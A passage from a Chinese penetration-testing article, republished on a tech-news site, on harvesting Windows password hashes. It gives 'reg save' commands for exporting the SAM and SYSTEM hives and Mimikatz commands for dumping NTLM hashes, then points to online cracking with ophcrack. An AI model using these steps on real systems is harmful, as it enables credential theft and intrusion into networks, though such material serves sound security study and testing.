内网渗透：获取Windows内Hash密码的方法总结
2020-08-21 16:02
美创科技
关注
3、通过SAM和System文件抓取密码和Hash
首先利用注册表命令将目标机的sam或者system文件导出
reg save hklmsam sam．hive
reg save hklmsystem system．hive
然后将目标机上的sam．hive和system．hive下载到本地，利用Mimikatz读取sam和system文件获取NTLMHash：
token：：elevate
lsadump：：sam
Windows密码破解方法
1、ophcrack在线破解
再通过以上工具获取到密码Hash后，我们需要对其进行破解，以得到明文密码。Ophcrack网站https：／／www．objectif－securite．ch／en／ophcrack提供了在线Hash破解服务，我们将得到的NTLM Hash输入到第一个查询框内，点击GO即可进行破解，小于14位的密码一般在几分钟内就可以破解完成：
图2：ophcrack在线破解
分享
声明：
本文由入驻维科号的作者撰写，观点仅代表作者本人，不代表OFweek立场。如有侵权或其他问题，请联系举报。
图片新闻
技术文库
最新活动更多
-
即日-12.26立即报名>>> 【在线会议】村田用于AR/VR设计开发解决方案
-
1月8日火热报名中>> Allegro助力汽车电气化和底盘解决方案优化在线研讨会
-
1月9日立即预约>>> 【直播】ADI电能计量方案：新一代直流表、EV充电器和S级电能表
-
即日-1.14火热报名中>> OFweek2025中国智造CIO在线峰会
-
即日-1.20限时下载>>> 爱德克（IDEC）设备及工业现场安全解决方案
-
即日-1.24立即参与>>> 【限时免费】安森美：Treo 平台带来出色的精密模拟
推荐专题
发表评论
请输入评论内容...
请输入评论/评论长度6~500个字
暂无评论
暂无评论